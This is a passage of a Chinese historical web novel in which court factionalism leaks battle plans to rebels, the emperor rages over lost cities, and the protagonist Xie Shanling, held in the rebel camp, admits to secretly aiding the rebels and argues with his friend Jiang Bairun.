陈贤直不顾宁蔚的歧视之言,径直走向孙瑛,在孙瑛的礼让中礼貌地回了句谢,大大方方坐下来,这才回应宁蔚。 “我是文臣,确实不如诸位武将懂作战,因而我不是来胡乱插嘴指挥的,我只是督促诸位,若诸位都专心于战事,我不会多说一句话。” 他态度温和许多,不卑不亢,孙瑛连连点头。 其他人见状,也没什么好说的,只是都来看宁蔚的脸色。 宁蔚还要反驳,孙瑛抢白:“若圣上因此怪罪,是我孙瑛的责任。现在可以开始专心议事了吗?” 宁蔚也就再没什么可说了,悻悻然地狠瞪了陈贤直一眼。这个搅屎棍! 陈贤直回以白眼,暗道,果真如思玄之言,宁蔚将党争重于社稷安危,已经没救了! * 陈贤直果真如他所说,只要大家专心议事,他就不再发言,只静坐在那看。 开会效率直增,孙瑛越发满意,散会后主动邀请他每天都来。陈贤直欣然应允。 孙瑛进而邀陈贤直谈谈他听完今日议论的想法,陈贤直连连摆手:“我不懂,就不说了,省得贻笑大方。” * 然而,不是众人专心议论,战事就会顺利。 宁蔚扰乱不了开会,就让人去军中使坏,总之绝对不能他久攻黔阳不下,而孙瑛一来就成。 孙瑛哪能看不出这其中道行,越发嫌恶,虽没挑明说破,但将底下闹事的人都干脆利落地挑出来,处理得毫不手软,其实和当众打四皇子一派的脸差别也不大了。 如此一来,双方越发剑拔弩张。 * 陈贤直取得了孙瑛的信任和好感,在孙瑛的帮助下,他终于能进入驿馆接触被软禁多日的谢善淩。嗯,附带谢善淩身边那个谁。 那个谁:“哇,久不见贤直兄……” 贤直兄面无表情:“休得乱叫,你比我年长。” 那个谁:“说了我随善淩。” 陈贤直敷衍地给他一个不想多说的眼神,关切地朝谢善淩道:“你别担心,虽然宁蔚还在不说好话,但孙将军已经答应帮忙解禁你们。不过先前确实是大皇子太胡闹了的缘故,只是连累了你。” 大皇子只能当自己没听见,去窗边看风景。 “他已经知错了。”谢善淩只能这样安抚道。 陈贤直还在心疼:“他可真是胡来,将那么多的东西给了匪军,就为了赎那个人!” 谢善淩熟练顺毛:“虽然他糊涂,不识大局,还请贤兄看在他也是全手足之情的份上,这次就不要和他计较了。” 略停了下,凄然笑道,“何况,内里那些人的嘴脸贤兄也不是不知,给他们中饱私囊满足私欲,和给匪军,差别又很大吗?” 陈贤直欲言又止,想了又想,重重叹气。 这些时日他亲眼所见那伙将领相互倾轧,竟都能为此无视外敌危急,实在是混乱不堪!有时他都忍不住心灰意冷了,也难怪谢思玄。 但想是一回事,嘴上还是说:“贤弟不可说这样不分内外的浑话……” 谢善淩没和他争,只是一味叹气。 陈贤直也忍不住叹气。 半晌,谢善淩问:“外头情况如何?” 陈贤直振作起来,回答他:“孙将军虽也明珠暗投,但他胸中有沟壑,我听他所列战法,想来收回黔阳指日可待!” 一直沉默看风景的顾望笙阴阳怪气道:“贤兄,哦不,贤弟也懂军法?” 陈贤直白他后脑勺一眼,却还是诚实承认:“不懂!” 顾望笙嗤笑。 你也肯定不懂吧笑什么笑!陈贤直没好气道:“就算我不懂……” 顾望笙突然回头打断他的话:“你我虽然不懂,这不有个人很懂吗?” 说着,他看向谢善淩。 陈贤直一怔,也看向谢善淩,须臾,他眼中亮起来:“是啊!思玄你——” 谢善淩立刻起身,冷冷道:“不要和我说这些事,我早已不问这些。” 陈贤直急忙也站起来,语重心长:“这就是你的不对了,就算你对政事失望,对那些当官的失望,难道你不心疼战火中的百姓吗?百姓何辜?若能快战快决,能免去多少生灵涂炭?” 谢善淩的神情有了一丝松动。 陈贤直再接再厉,拉住他衣袖又是一番苦劝,劝得谢善淩表情越发动摇。陈贤直瞅准时机,将孙瑛他们商议之事一一告诉谢善淩。 “你不要跟我说这些……”谢善淩挣扎道,“军机大事,你别泄密……” “我又不是跟别人说,跟你说,我还怕你里通匪军不成?”陈贤直说着看了眼大皇子,突然沉默。 大皇子指着自己鼻子,惊讶道:“难道我就会里通匪军?我可是大皇子!当今圣上的嫡长子!里通匪军我是疯了吗?” “倒不怕你里通匪军,只怕你出去后口无遮拦。”陈贤直悻悻然道。 大皇子正色道:“我能有这么分不清轻重吗?” “这不就完全没事了吗。”陈贤直看回谢善淩,絮絮道,“所以我继续跟你说啊,你参谋参谋,若有好主意,你告诉我,我传达给孙将军。来日你解禁后我带你去和他面谈。若你不愿见他,我继续从中传话也可……” 作者有话要说: 谢善淩:对不起,贤兄[可怜] 得知真相的陈贤直:不怪你,贤弟,我知道肯定是有人逼你[白眼] 有人:[问号]你都这么看着我了,怎么不干脆把我名字说出来? 陈贤直:你名字那么多我要说哪个[愤怒] *化用自《孟子·尽心上》,原句:仰不愧于天,俯不怍于人。 第69章 ◎两人如今怎么说也是正经夫妻,当着人面说那话确实不好。◎ 当孙瑛意识到, 即便自己及时破了宁蔚等人在军中使的坏招,也依旧会兵败时,已经晚了…… 匪军仿若开了天眼知道他的战术设计,一个陷阱也不曾踩进去, 反倒精准地攻击到他的薄弱点。 ——在他率军被击退到退守浔阳城之际, 噩耗传来:匪军趁姜城防备空虚, 竟联合周边的大小势力攻占了它! 孙瑛忍无可忍,起身一脚将矮几踹翻出去, 咆哮道:“宁蔚!!我和你势不两立!” 宁蔚心中窃喜,脸上却全是莫名和愠色:“孙将军, 你不要什么事都栽赃到我的头上,姜城一向由你坐镇, 如今丢失,也不过是因为你留下的守城副将不力。” “你少在这装无辜!”孙瑛怒道,“若不是你为了党争而宁可里通匪军来拖累我, 姜城怎会有如此下场!” 宁蔚脸色乌沉,抬手将矮几掀翻:“孙瑛!你说话最好过过脑子!自己和手下无能,就想栽赃给我?没门!既然你那样胡说, 那我倒还要说我怀疑是你为了救回三皇子而里通匪军故意的呢!” * “最后两边都拔出兵器打了起来。” 陈贤直双手捧着热茶杯, 两眼微微发直地回忆。 谢善淩关切地问:“没伤到你哪儿吧?” “这倒没。”陈贤直说,“孙瑛还记得叫我先出去。” “孙将军他……”谢善淩没再说了。 顾望笙已经告诉过他曾多少次试图说服孙瑛弃暗投明,孙瑛一概不听。谢善淩也对孙瑛的事迹和脾性有过不少耳闻,知道这人恐怕确实是无法劝降的。 他和顾望笙一样对孙瑛很是敬佩。不过立场使然,只能为敌了。 “宁蔚真不是个东西。”陈贤直啜一口茶,皱眉道。 谢善淩看了顾望笙一眼, 犹豫片刻, 低声道:“也许这次之事确实不是宁蔚泄密。” 早晚有一日陈贤直会知道自己和顾望笙、尤其是顾望笙的身份, 因此谢善淩不打算在这件事上瞒骗得他太狠。 谁料陈贤直道:“你倒还替他说起话来,可惜你不知道,就是他干的!” “不……” 陈贤直抢白道:“我亲眼所见亲耳所闻!” 谢善淩一怔,问:“你亲眼所见亲耳所闻什么?” 陈贤直的眼中燃烧着两簇愤怒的火光,握紧茶杯,咬牙切齿道:“我亲眼所见他和人说笑似的议论孙将军的败战,言语间丝毫没有愧色或担忧,反倒幸灾乐祸,好像事不关己!这些家伙还说,不如索性卖些消息给匪军,让匪军把浔阳城也攻下,如此孙将军必受圣上重罚。他们还提到了姜城……” 当时陈贤直马上就冲过去叱骂他们,可他们压根不承认刚刚说了那些话,陈贤直就没见过这样厚颜无耻之徒,却也拿他们没办法。 “如今想来,他们不止是说说,恐怕真是这么做的。”陈贤直越说越自信,“一定是这样的……” 谢善淩试图再劝说几句,反而惹得陈贤直不高兴了,反问:“你为何突然帮他说话?难道是因为四皇子……” 说着,猛然意识到旁边还有一人,侧眼瞥了下。 顾望笙面无表情:“继续,我习惯了,就当我不存在一样地说吧。” 陈贤直:“……” 虽然……但是一直以来大殿下不顾自己的态度待自己一如既往的热情周到友好,而且从前的遭遇也着实可怜。 如贤弟所说一般他谄媚三皇子不过是确实无依无靠且渴盼亲情。 再者说,贤弟都没有和他割袍断义,偶尔还能见着两人举止间透着股旁若无人的亲昵默契。 不信大殿下为人也得信贤弟啊!那大殿下再差也不至于差到地底下去。 何况两人如今怎么说也是正经夫妻,当着人面说那话确实不好。 陈贤直有点尴尬,轻咳一声,低声道:“抱歉。下次你不再的时候我再说。” “……你就不能不说?!”顾望笙被他气到笑,“那你还是当我面说吧贤兄!” 贤兄这回都不反驳他了,假装无事发生,低头喝茶。 谢善淩看着二人,忍不住轻笑起来。 陈贤直赶忙看向他,不可思议。这种情况贤弟怎么堂而皇之笑得出来的? 谢贤弟似是看透了他心中所想,微笑着说:“无妨,他习惯了。” 瞬间,陈贤直更同情大殿下了。贤弟在别的事上清傲之骨,怎么对待大殿下有点……有点……那什么,不好说,不好说。总之就是欺负人。 再看大殿下瞪着谢善淩,却敢怒而不敢言的样子。唉。 陈贤直都没法儿再站在贤弟这一边说话了,左思右想,低头继续饮茶。 却见大殿下走过来,伸手翻了个茶杯,提起桌上咕噜咕噜的烧茶壶道:“你那茶都凉了吧,搁那一会儿给善淩浇花,我再给你倒一杯。” 谢善淩问贤兄:“他很细心周到吧?” “……” 陈贤直看向贤弟,见贤弟眼中含笑眉角带春地看着大殿下; 他又看向大殿下,见大殿下低头认真倒着茶,却显然听到了,也许余光都瞥见了,嘴角忍不住微微勾起,竟莫名有一抹疑似腼腆的感觉。 突然觉得背地里给四皇子通风报信的自己实在是…… 说是说只是为了社稷,倒不是为了那个事儿,可难道自己心里不清楚四皇子对贤弟一直以来的心思吗?真能完全不混为一谈吗? 旧情复燃,春风吹又生什么的…… 还有,这些时日自己亲眼所见亲耳所闻,虽然四皇子依旧是四皇子,四皇子手下的那些人,那个宁蔚,还有其他人,可真是混账啊,为了党争都能弃军国大事、礼义廉耻于不顾! 四皇子……难道真是一点点也不知道吗…… 若他知道却不管,固然德行大缺;若他全然不知,那何尝不是一种驭下无能?无论是哪一种,都…… 顾望笙将热气腾腾的茶推到陈贤直面前,瞥他一眼那心虚又沉思的样子就知他在想什么,却不点破,只继续细心周到:“烫,贤兄等等再拿。” “哦……”贤兄闷声应着,已经不太敢多看他了。 * 皇帝接到八百里急报,大怒! “一群废物——!!!”他拂袖将案头东西全都扫了出去,嘶声大吼,“废物!!全都是废物!!” 面前站着的几个老臣大气不敢出,全都将头低到了胸前。 皇帝却不会因此放过他们,指着他们鼻子骂道:“刚刚不还在朕面前相互扯腿吗?朕看你们话不是很多吗?怎么现在一个个的都哑巴了!骂啊!争啊!你们已经争丢了黔阳,又争丢了姜城,现在把浔阳也争给了匪军!继续骂!继续争!直到将朕的江山都拱手让给那伙匪徒!” 众人急忙跪在地上告罪。 “你们有什么罪?不过是为了党争互相掣肘,宁可里通匪军也不让敌党占到好处!”皇帝声歇力竭地吼,“不要以为朕什么都不知道,朕什么都知道!” 众臣心中不由异动,暗道:你什么都知道,可也是你一贯默许的不是吗? 君王制衡之术不是什么新鲜东西,能进到这议事殿的哪个不是人精,谁又能看不透皇帝那些心思呢? 以前他坐视三皇子与四皇子两党相争,争得越厉害他越渔翁得利,如今真因党争失了城地,他却又不乐意了,呵呵。 当然,这只是心中不忿之想,面上绝不敢表露分毫,只得长叩不起。 皇帝看着这群废物,越发的气不打一处来,当即忍不下,冲过去一人一脚踹翻在地,喘着粗气,两眼一阵阵发黑。 城丢了,人也丢了……真的又把人给丢了! 不,更确切说的话,是又被匪军掳去了。顾望笙和谢善淩。 因为先前顾望笙开库一事,虽然孙瑛据理力争,宁蔚仍然坚持圈禁顾望笙,而匪军攻破浔阳的来势突然且凶猛,孙瑛忙于应战,哪还顾得上顾望笙这边。 待城破之际,孙瑛正要带上陈贤直和顾望笙谢善淩撤退,却发现这俩已不见了。地上奄奄一息的人说是宁蔚派来监视大皇子的人里不知怎的竟有匪徒卧底!趁乱将人掳走了…… …… 三皇子一派的人越想越气。 原本宁蔚久攻黔阳不下,是四皇子一派的无能和罪责,谁料皇帝竟非要调孙瑛前去,导致姜城也丢了,加上浔阳……反倒都成了孙瑛的错。 良久,一人麻着胆子道:“陛下,今次之事,恐怕四皇子手下宁蔚将军难辞其咎,早听闻他不服孙将军奉皇命接管讨伐黔阳的大军,一再刁难,生怕他当日久攻不下还坐视三皇子被匪军掳去、孙将军却能立刻立功……又听闻此次匪军仿佛是早就知道了孙将军的进攻之策一般……” “你什么意思!”旁边的四皇子系听不下去了,“宁蔚虽久攻黔阳不下,倒也没丢城丢地!孙瑛平日便仗着一点点功绩目中无人,去到浔阳后横生是非,念在大局为重,宁蔚一再忍让,谁料到了今日你们还想将丢城的罪责甩给宁蔚?不齿为人言啊!当时谁是大将谁就该负全责,否则今后就全乱套了!” 双方其他人见状,纷纷助力,议事殿内又吵起来。 皇帝双眼赤红瞪着这群王八蛋,正要让人全部拖出去打,突然外头传来太监说有急报的声音。 他暂且按捺怒火叫人进来。 太监跪地道:“陛下,二皇子他、二皇子他安然无恙地回来了!!!” 皇帝一怔。 作者有话要说: 陈贤直:贤弟怎么是渣男[托腮][化了] 大殿下:[可怜] 谢渣男:没事他自愿的,只要我不抛弃他就好[墨镜] 陈贤直:贤弟你……[裂开] 杨复:@唐骏铭,其实…… 唐骏铭:闭嘴 唐骏铭:我不是把你拉黑了吗? 杨复:…… (您已被加入黑名单) 第70章 ◎刚来的第一天,谢善淩就想回家了……◎ 谢善淩第一次见到宋淮安。对方如传闻中是个眉清目秀的白面书生, 举止言谈间却挥发出一股落拓的江湖气。 不过谢善淩更在意的是另一个人…… 顾望笙注意到了谢善淩若有若无频频投向自己的微妙目光,但一时装作无所察觉,直到屋里只有两人时才提起来。 “刚刚怎么一直在看我?”他问。 谢善淩与他没什么好隐瞒的,只是一时不好措辞:“你好像不太对劲。” 顾望笙心中有数, 笑了笑:“吓到你了?” 谢善淩摇头, 故意作出不以为意的样子:“你有什么好怕的。” 顾望笙瞪眼凶恶地吓他, 谢善淩却看出了他的兴味阑珊,主动走过来用手背贴了贴他的额头, 又踮一点脚用额头去感受他额头的温度。 顾望笙本能地扶住他,垂眸与他对视。 半晌, 顾望笙轻叹一声气,将他揽入怀中, 小声道:“我没事,我在这边都是刚刚那样子,不信你看宋淮安也没露出奇怪的表情。” 谢善淩细细回想他刚刚的模样。自从回到义军之中, 顾望笙反而神态凝重起来,甚至是很冷酷,不苟言笑。就连和宋淮安说话时也是如此。 “为什么?故意这样子震慑别人吗?”谢善淩问。 “也有这个原因吧……”顾望笙的语气里有明显的犹豫, 似乎还有话要说, 却又不是特别愿意说。 谢善淩静静地等着他,没有催促,只是轻轻地抚摸他的后背,像许多个他仍为童年噩梦惊醒的夜晚。 顾望笙抱着他的手越发紧了紧,依赖地嗅闻他的气味。 终究还是说了。对着谢善淩有什么不能说的呢? “若是我告诉你,其实在这里苦大仇深的我才是真正的我, 你会嫌弃我吗?”顾望笙问。 “不会。”谢善淩说, “你是真的苦大仇也深嘛。” 顾望笙失笑, 却只是很短促地笑了一下,很快就散去。他并非故意,只是回到义军之中,就本能地变回了“秦青”,被许多事压在心头沉甸甸。 “先前那些活泼开朗的样子是我装出来的。”顾望笙有点忐忑地说,“其实真正的我就是刚刚那个样子。” 谢善淩问:“所以你现在也还是在装样子骗我吗?” 顾望笙下意识否认:“当然不是……” 谢善淩推了推他,他先是不肯松手,害怕谢善淩真翻脸不喜欢冷酷的秦青,可谢善淩连着推了好几下,他犹豫着,还是略松了下。 有了空间,谢善淩得以抬头看着他。 虽然谢善淩一直没说话,可是神态目光都很温柔,顾望笙的心渐渐安定下来,原本紧紧锢住他胳膊的手松开,改而撒娇似的揪住他的衣角。 谢善淩低头看着他的手,问:“那现在是装的吗?” “不是……”顾望笙闷声道。 谢善淩看回他脸上,抬起手朝他额头上不轻不重地弹了一下。 “那你究竟装了什么?”谢善淩想了想补充说明,“除了刚成亲那阵你装恨海情天……” 顾望笙悻悻然道:“那不是装的,那会儿我真恨……” 声音在谢善淩凌厉起来的视线中渐渐弱下,干咽了一口唾沫,舔舔嘴唇,索性又抱住他撒起娇来。 谢善淩挂着这个好大的人淡定点评:“我看你本性根本就是如此,少给自己贴金了。” 顾望笙:“……” 揶揄完,还是得哄几句。谢善淩拍拍他的脑袋,温声道:“没关系,不必担心我介意,我能明白的。” 他作为秦青的时候,背负了那么多的痛苦过往,又担负着白龙义军的未来,若爱笑那就很爱笑了,若每天笑不出来那也很正常。 而他一回到义军之中,熟悉的面孔和氛围就会立刻将他带回“秦青”的身份。 谢善淩只有心疼的,哪会嫌弃。这不还是那个脆弱惹人怜爱的顾望笙嘛。 良久,顾望笙低声道:“得妻如此,夫复何求。” “……”谢善淩觉得这话过于肉麻,努力扯开,凑到他耳边低语,“我正好试试冷酷的秦青……” 顾望笙立刻一把松开他,表情颇为悲愤:“你这人怎么这样?你答应了我要改的!” “都这么大人了还能改到哪里去……你反应这么大干什么……”谢善淩脸热地埋怨道。原本没觉得害臊的,这人反应这么大! 顾望笙看他倒还委屈上了,更是不满:“我和你敞开心扉说心里话,你想到哪儿去了?你如今变了,谢善淩,变太多了。” 这简直是得了便宜还卖乖!谢善淩恼羞成怒:“刚说我答应了改却没改,现在又说我变了,前后矛盾。何况是谁害的啊?我本来都是清修要当道士的人了。” 这么一说确实是自己理亏,顾望笙的气焰小了许多,嘀咕:“反正你别想。我现在可提不起劲来……秦青是不干那档子事的。” 谢善淩皮笑肉不笑:“好,最好是。” 顾望笙眼珠子转了转,正要给自己留条后路以防万一,已经被谢善淩抢先一步堵死:“如今在义军里,顾望笙和顾裕帧不能出现,只有秦青。” “凭什么啊?你说不能出现就不能出现?那要是半夜突然他俩想出现了呢?”顾望笙努力争取。 谢善淩此刻表情比秦青还要冷酷:“没有‘要是’,要是那样……” 顾望笙等了等,见他迟迟没下文,便悄悄腰板硬了一点:“要是那样就怎样?你能拿我怎么样?” 谢善淩冷笑看着他这小人得志的样子:“那我就把顾望笙、顾裕帧丢人的事迹都告诉宋淮安。” 顾望笙一下子哑巴了,眼睛不可思议地瞪大,咬牙道:“也不嫌丢人的……我丢人就是你丢人……别说!” “那你求我啊。” 顾望笙不假思索:“求你。” “好没诚意。”谢善淩嫌弃。 顾望笙蹙眉柔弱:“求你。” “噫……”谢善淩嫌弃。 顾望笙认真思索一番,低头抱住他使劲摇晃:“求你求你求你……” 谢善淩被他晃得又头晕又好笑,真笑了出来。 顾望笙也忍不住笑了起来,摇晃的力度渐渐小下去,轻轻咬他耳朵,在他耳边用气声说:“求你了。” 谢善淩向来很中顾望笙的独家美人计,当即就宽容了:“好吧。” 顾望笙又笑了,与他静静地拥抱了一会儿,忽的说:“谢谢。” “不必说这话。”谢善淩继续摸他脑袋。 两人又抱了一会儿,谢善淩平静道:“你的老相好打算看到什么时候去?这下子可不是我说出来你的丢人样子了,你肯定也知道他一直在外面看吧。” “别管他。”顾望笙继续黏着谢善淩,“他就要三十了还孑然一身,对这事儿好奇得紧,给他开开眼界。” “……我全听见了。”宋淮安的声音幽幽地从窗外传进来,“原本就说好了我去处理点事就回来接着跟你们聊,谢公子就不说了,秦青你早就跟我四目都相对了,我还没来得及出声提醒谢公子,你就开始得妻如此夫复何求……” 谢善淩细思不对,嘴角一僵。 他是从自己吓唬顾望笙要将顾望笙的丢人事说出来后发现宋淮安的,因此没说破,故意耍逗顾望笙看他反应,却不料是从夫复何求吗……那、那……那自己随后说的试试秦青什么的……岂不是也被宋淮安听到了?! 谢善淩脸腾的烧起来,暗中使劲拧顾望笙。很难不觉得是这人故意使坏不早早提醒自己! ——刚来的第一天,谢善淩就想回家了…… * 尴尬归尴尬,三个人都尴尬,那就能都当无事发生了。还是正事要紧。 谢善淩一早便知道谢婉柔被宋淮安阴差阳错间救下,如今好不容易能相见,虽然信任宋淮安,终究亲眼见到才放心,然而又怕节外生枝,谢婉柔没心机,万一回京后一不小心说漏嘴……便只好暂且按下关切不去见。 顾望笙宽慰他道:“一直都说还好,之后我们回京时带她一起,你别担心。” 谢善淩点点头,再度朝宋淮安拱手道谢。 宋淮安摆了摆手:“不必如此客气,谢小姐虽外貌柔弱,实则心性坚韧,而且礼貌客气,没给我添麻烦。”话锋一转,“不过你的那位好友江泊润就……太刚烈了。” 谢善淩:“……” 他来之前就已经知道了江泊润的一些“事迹”…… 宋淮安叹道:“他不但屡次尝试逃跑,还要救谢小姐一起跑,也确实是有情有义之士。可惜大概是他着实不善于此道,屡战屡败,却又屡败屡战。我还没有恼怒,他先恼羞成怒,开始绝食。我去劝说他就骂我,日均一篇讨贼檄文。” 顾望笙:“你别给他笔墨不就得了。” 宋淮安幽幽:“不给就说要杜鹃啼血以血涂墙来抒发悲愤之情。不过你不用担心,你的兄弟很乖,一点不用操心,日均两篇要钱赎身家书。” 顾望笙:“……” “唉,给你添麻烦了。”谢善淩不得不再度说。 宋淮安摆摆手:“说笑的,其实我很钦佩江泊润。你去见见他吧,他怎么都不信是你将他送来的。” * 谢善淩走进屋子时,见到好友背对着门口的瘦削背影。 他正要开口,江泊润听到推门和脚步,冷冷道:“不必多说,我绝不会与你这匪徒为伍,也不会再吃你们的一嘴饭,我就要死在这里,来日我的好友会为我报仇,还会为我作传流传后人,让后人都明晓面对贼首该有的不屈不卑大义。” 他的好友:“……泊润。” 江锐本能地刚要回一句“你也配叫我泊润?”,突然一怔,不可置信地回过身来看着谢善淩。 “泊润……” 谢善淩刚开口,江锐猛地起身失声惊叫:“怎么你也被抓来这里了?!” “啊这,其中一言难尽……”谢善淩努力措辞。 作者有话要说: 谢善淩:总之我们投匪吧[笑哭] 宋淮安:咳咳是义军是义军…… 江泊润:[问号][问号][问号]好友你怎么了,好友你是不是被他们胁迫,好友即便我们被人胁迫也不能丧失我们的骨气啊!我们慷慨就义后,陈贤直会为我们报仇和作传! 70-80 第71章 ◎顾望笙哭道,“你知不知道我受了多大的委屈!”◎ 谢善淩拉着江锐坐下, 关怀道:“听宋兄说你旧伤未愈,却不肯继续服药,连饭也不进,撑得住吗?” 江锐敏锐地问:“宋兄是谁?” “……宋淮安。”谢善淩很了解他地说, “泊润, 不要逃避现实。” 虽然只这几句话, 可看自己这悠闲态度,他也理应明白了。 江锐确实在电光火石间明白了一切, 可他无法接受……他怔怔地瞪大着眼睛看谢善淩,半晌出声, 声音和指着谢善淩的手指都是颤抖的。 “你……你……谢思玄你你你……” 谢善淩坦然看着他:“不错,我里通起义军已久。” 听他清清楚楚地亲口承认, 江锐如遭雷击,身子一震,脑袋停滞许久才重新运转开来。 “什……什么时候开始……”江锐猛然想到, 问,“因为潘家一事?” 谢善淩点了点头。确实是发生了那件事后,自己痛定思痛, 纵观时局, 最终决定化名“临江仙”联系上了白龙义军,为之出谋划策。 不过后来发生了王尨之事,自己心病发作,认为天下乌鸦一般黑,灰心绝望之下断绝了与白龙义军的联系,想不再问世事, 就在清静峰上直到死去。 江锐欲言又止了一番, 最终重重叹气, 并没有过分责难,只是感叹:“你糊涂啊。” 谢善淩却反问:“难道愚忠不比这糊涂?今上昏聩,宠奸佞远贤臣,任由上行下效,百官有不如无,整日只会争权夺利、中饱私囊,致民不聊生,天下动荡。这是你我饱读诗书所要效忠的朝廷吗?” 江锐是在官场里做过几年的人,且他家境寒微,远比不上罢官前的谢善淩风光、受人退让,说起来,他眼中所见到过的官场腌臜和民间疾苦,说不定还要比谢善淩所知的更加深刻。 听到谢善淩那一番话,江锐没有立刻反驳,他沉默了一阵,叹了声长气。 “即便如此……将来四皇子登基后……” 谢善淩打断他的话:“四皇子不是明君。泊润,浔阳城官员私下盗卖军需与他脱不了干系,明面上浔阳是三皇子势力,但你当日只将那事告诉了顾裕泽,若他仅仅只是按而不发,我也可以如你一样认为他只是在暗中搜罗更多证据,可随即为何浔阳官府突然对你发难?难道你真的丝毫都不怀疑吗?” 江锐欲言又止,而谢善淩从他这样的停顿中便知道了他的想法。 “你也怀疑了,不是吗?”谢善淩问。 江锐看他一眼,目光有些闪烁,移开了看着地面支吾道:“也许是巧合,也许,我自己泄露了行迹被别人察觉……” 谢善淩没有急着与他辩驳,只是静静地看着他。 屋内的空气都似乎沉重了起来,化为一块巨石压在江锐的胸口,令他无法顺畅地呼吸。 正如谢善淩所言,这些时日他将事情从头到尾地想了一遍又一遍,不是完全没有怀疑的。 许久,他的声音放低了很多,说:“我并非是不信你,只是,这种事,我不能就听你在这里猜想、一面之词。再者说,浔阳监牢里的火是你……是匪军放的吧?不是四皇子,也不是三皇子。” 谢善淩并不瞒他:“是。当时一则有个义军的叛徒也在牢里要灭口,一则,我怕夜长梦多,你在里面并不安全。” “你有心检举他们盗卖军械,就算陈贤直替你翻了案将你带出牢狱,将来即便顾裕泽不杀你,顾裕珩这边的人得知后也会要杀你,或者参与此事的官员也容不下你。你若留在那里,死路一条。”谢善淩缓缓说道。 江锐沉重地吐出一口浊气,抬头看着谢善淩,一字一顿道:“可是我身为大梁朝的官员,不能因为惧死就假死投奔匪军。” “那难道你就要冤死吗?” 谢善淩与他四目相对,两人的眼中都迸射出尖锐的光芒。 “人固有一死,若你能伸张公义而死,我不拦你,可那样的情况下,你一死也不过是做个屈死鬼,那些真正该死的人却因此松了一口气,继续贪贿为祸,你得到了什么?愚忠之下的自欺欺人?”谢善淩问他。 “……我说了,我不能听信你一面之词。”江锐别开视线道。 “好,我会找出证据给你。”谢善淩说。 江锐想了想,又看向他:“放我回去。” 谢善淩果断拒绝:“不可。” “你——” “是我请宋兄将你禁锢在这里,你以后不要再骂他,要骂骂我。”谢善淩说。 江锐看他理直气壮的样子,一时之间真想骂他,可话到嘴边又不舍得。想来想去,恨道:“还是那个宋淮安该骂!罪魁祸首一定就是他,不知他如何的巧舌如簧蒙骗了你……” “……不,他没有……” 江锐打断谢善淩替那贼首辩解的话,武断道:“不,就算是他。” “不是……” “我说是他就算是他!”江锐怒道,“他身为匪军首领,千错万错都是他的错!你若想我不骂他,那就让他放我走。” “那你随意,当我欠他人情。”谢善淩道,“他还挺欣赏你的檄文。其实他自幼饱读诗书,文墨也是颇好,可惜义军之中能与他研讨此道的人几乎没有。” 顾望笙虽也读了很多书,但他是秦青的时候总沉默寡言,也不爱舞文弄墨。 江锐顿时面露嫌弃:“我就说你肯定是被他骗了!信他饱读诗书,还是信我和贤直兄背着你说你坏话?” “嗯?你俩背着我说我坏话?说什么了?”谢善淩问。 江锐忙道:“没有!只是说他饱读诗书此事比我和贤直兄背地里说你坏话这事更荒诞。” “哦……但他真的是饱读诗书啊。你不知道他的身世吗?”谢善淩问。 见江锐面露疑惑,谢善淩微微叹气,将宋淮安的身世大致说了一遍。江锐听完,呆怔一阵,讪讪道:“假的吧……” “这事不算秘密,”谢善淩道,“当然,若你非说是假的,那我也没办法。” 江锐嗫嚅了几声,最终只是道:“好了好了,我知道了……” 虽然讨厌宋淮安,可若对方真是这样的身世,那有今日,江锐觉得也不是完全的情无可原。只能说各人有个人的选择了。 但他最后还是争取了下:“真不能放我走?” “不能。” * 趁着没人,顾裕珩大胆地趴在桌上写今日劝赎“家书”,突然门就被人粗暴地打开。 顾裕珩吓了一大跳,第一反应是抓着纸笔趴到地上,伪装自己一直是卑微乖巧趴着写的假象。 下一瞬,一大团啥玩意被面具秦青一脚踹了过来,压到他身上。 顾裕珩惊呼出声,竭力推开撞上来这人,先忙着捡起刚写了半天的家书,一看,被自己慌忙中给弄破了。 他瞪向来人正要发怒,对方一个骨碌爬坐在地上也看他,顾裕珩突的一怔。 四目相对,静默许久,顾裕珩嗷的一嗓子,顾望笙随之也嗷起来。 “你怎么也来了啊?!”顾裕珩绝望地问。转瞬一想又很气,不等泪眼婆娑的顾望笙回答,一把揪住他衣领恶狠狠道:“好你个好家伙,后来怎么不救我了?!” 起初秦青说顾望笙冒大不韪积极营救,他狠狠被感动到,发誓自己回去后要好好对待老大,可是后来秦青说顾望笙也不管他了! 他急忙连去家书给顾望笙,却都如石沉大海。 甚至有次秦青还说送信人差点被埋伏回不来了,雷霆大怒地打了他一顿。 顾望笙面露愕然,随即悲戚无比,颤抖着声音质问:“你这是什么语气?你不信我?以为我抛弃了你?” 啥玩意娘唧唧的,大概这就是断袖吧。顾裕珩皱着眉头粗声粗气质问:“难道不是吗?” 当然了,据秦青所说,放弃自己的不止顾望笙,父皇那边也放话不再受威胁,母妃给还是给,却给得很抠搜了。 为此,自己以前三天饿六顿,至少一天还有一顿,如今只有两天一顿,每顿一碗清粥。 顾裕珩饿狠了连给自己写信的纸都吃过,无奈实在是咽不下去。偶尔他都恨自己怎么没索性饿死,饿死就不用活受这罪了! 秦青还要说风凉话,说多少人连这一碗清粥都吃不上,真是活生生饿死的。 这关我什么事嘛!他们命不好不会投胎,怪我吗?顾裕珩在心中不以为然,面上却只能悲痛忏悔。 总之,顾裕珩不敢怨怼父皇和母妃,这会儿也怨怼不到他们,只能逮着顾望笙撒气。 顾望笙悲恸地用力抹眼睛,嘶声道:“为了救你我都敢和老四那帮子人干起来了,差点被他们弄死,你却这样看我的吗?!” 顾裕珩一怔:“怎么回事?” “怎么回事?你想不明白怎么回事吗?”顾望笙哭道,“你知不知道我受了多大的委屈!” “你有事儿说事儿,别跟个娘儿们似的!”顾裕珩拧起眉头叱喝,但随即惊醒,小心翼翼看向门口的秦青,谄媚地挤出一个笑来,指指顾望笙,解释道,“我凶他、我凶他……他不识时务,都不继续上贡给义军,实在是不知好歹,我替您教训教训他!” 秦青戴着面具反正看不清表情喜怒,但略一颔首,顾裕珩就还是从中看出了对方对自己识相态度的满意,嘿嘿一笑,转而看到顾望笙,又板起了脸:“说!” 顾望笙泄愤似的大声道:“还有什么好说?老四巴不得你死在这里,一面鼓动朝中风声逼迫父皇放弃你,一面让宁蔚将我和谢善淩圈禁起来不得见外人。” “若非孙瑛将军来到浔阳,好歹让陈贤直来看看我们,我都不知道外头发生了什么事,只能整日提心吊胆怕被谋害了。” “陈贤直都看不下去了,求孙将军做主将我们放出去,可还是不了了之。也不知道是宁蔚从中阻拦还是孙将军也有考虑,好歹孙将军还保我不死,那个宁蔚啊……” 顾裕珩听得双目赤红,紧握双拳,饿了这么久的仇恨迸发出来,恨不能声音里都淬上毒,带上诅咒,可于千里之外杀人。 